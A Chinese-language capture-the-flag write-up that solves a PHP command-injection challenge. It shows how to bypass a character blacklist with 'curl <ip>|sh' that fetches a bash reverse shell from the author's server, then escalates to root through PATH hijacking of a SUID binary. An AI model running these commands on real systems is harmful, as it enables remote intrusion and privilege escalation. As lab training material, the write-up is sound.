<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}
?>

因为没有回显,最理想的,也是第一时间想到的就是反弹shell,但过滤了n、w这些敏感字符。

从别的师傅那学来的骚操作,使用curl ip|sh执行反弹shell命令,因此访问ip回显的必须是反弹shell的命令。

黑名单过滤了“.”,需要把ip转为十进制。这样就占了17字符,所以“访问子文件夹的命令”这种方法不可取。

首先在VPS上新建个文件。文件名为index.html,内容为:bash -c "bash -i >& /dev/tcp/IP地址/8721 0>&1"

因为咱VPS上无中间件,用的python3 -m http.server 80

然后在这台服务器上设置服务端监听,端口要和index.html中的内容保持一致。还需要注意的是尽量不要用海外的VPS,小心被wall。

万事俱备只差东风^^,使用curl命令去访问ip,然后跟上“sh”,即执行ip回显的内容即可:

成功接收到反弹shell:

但是是个低权限的账户,使用find命令,也查看了根目录没有flag的痕迹。考虑提权:

使用uname -a 查看版本信息,没有有价值的发现。继续找正在系统上运行的所有SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null

访问love,回显如下:

把它下载下来,然后使用IDA进行分析,发现该文件运行了”ps”文件中的内容。

可以在/tmp目录下,把命令写入ps,然后执行love:

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #赋予权限
export PATH=/tmp:$PATH   #设置临时环境变量

flag在/root目录下。

⚪参考:https://blog.csdn.net/Crazy198410/article/details/113102306